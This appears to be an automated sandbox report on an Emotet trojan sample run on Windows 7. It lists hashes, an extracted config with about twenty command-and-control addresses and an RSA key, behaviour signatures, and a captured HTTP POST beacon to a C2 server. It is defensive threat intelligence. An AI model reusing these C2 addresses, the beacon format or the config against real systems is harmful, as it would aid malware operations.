Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-09-2024 03:53

General

  • Target

    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe

  • Size

    446KB

  • MD5

    ef0539efc30e13e2757bf3a49250061c

  • SHA1

    5355a8e92356413dfdfe84e881e3faf15f2017f4

  • SHA256

    fc9c22936bcba71ef17ce239fc86628ef776874f03c0bfa3960a7c513f338e3d

  • SHA512

    81b3b0ef89b5ac2fb3266897176bb989468b13035221a10971394df1f49d32ed8d686c6a1b0f3005a44176c6bc8f09a305f7876bdf9446a303e09aa9dbc41925

  • SSDEEP

    6144:cwekW4xuXsm2rJvMtQvq6H/iN2SO9rb8BhbbGC:cwvuXJ2rJvJv7HaNSFbCbb

Malware Config

Extracted

Family

emotet

Botnet

Epoch1

C2

91.105.94.200:80

51.38.124.206:80

38.88.126.202:8080

54.37.42.48:8080

189.2.177.210:443

181.30.61.163:443

185.178.10.77:80

199.203.62.165:80

177.73.0.98:443

87.106.46.107:8080

5.196.35.138:7080

5.189.178.202:8080

185.183.16.47:80

78.249.119.122:80

191.182.6.118:80

96.227.52.8:443

186.103.141.250:443

50.28.51.143:8080

111.67.12.221:8080

50.121.220.50:80

rsa_pubkey.plain
1
-----BEGIN PUBLIC KEY-----
2
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6
3
uS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz
4
6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB
5
-----END PUBLIC KEY-----

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Emotet payload 3 IoCs

    Detects Emotet payload in memory.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:1800

Network

  • flag-de
    POST
    http://51.38.124.206/t45xJC/VBJEtZcbA7YEvPGKpl/ybtJw/khDWf9WNC/gkUJKK5wWpt/
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    Remote address:
    51.38.124.206:80
    Request
    POST /t45xJC/VBJEtZcbA7YEvPGKpl/ybtJw/khDWf9WNC/gkUJKK5wWpt/ HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: keep-alive
    Referer: 51.38.124.206/t45xJC/VBJEtZcbA7YEvPGKpl/ybtJw/khDWf9WNC/gkUJKK5wWpt/
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=----------9KKf0C69Ss
    Host: 51.38.124.206
    Content-Length: 4420
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sat, 21 Sep 2024 03:53:39 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 275
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • 91.105.94.200:80
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    152 B
    120 B
    3
    3
  • 91.105.94.200:80
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    152 B
    80 B
    3
    2
  • 51.38.124.206:80
    http://51.38.124.206/t45xJC/VBJEtZcbA7YEvPGKpl/ybtJw/khDWf9WNC/gkUJKK5wWpt/
    http
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    7.5kB
    1.4kB
    17
    9

    HTTP Request

    POST http://51.38.124.206/t45xJC/VBJEtZcbA7YEvPGKpl/ybtJw/khDWf9WNC/gkUJKK5wWpt/

    HTTP Response

    404
  • 38.88.126.202:8080
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    152 B
    3
  • 38.88.126.202:8080
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    152 B
    3
  • 54.37.42.48:8080
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    152 B
    3
  • 54.37.42.48:8080
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    152 B
    3
  • 189.2.177.210:443
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    152 B
    3
  • 189.2.177.210:443
    ef0539efc30e13e2757bf3a49250061c_JaffaCakes118.exe
    104 B
    2
No results found

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1800-4-0x00000000002C0000-0x00000000002D0000-memory.dmp

    Filesize

    64KB

  • memory/1800-7-0x0000000000290000-0x000000000029F000-memory.dmp

    Filesize

    60KB

  • memory/1800-0-0x00000000002A0000-0x00000000002B2000-memory.dmp

    Filesize

    72KB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.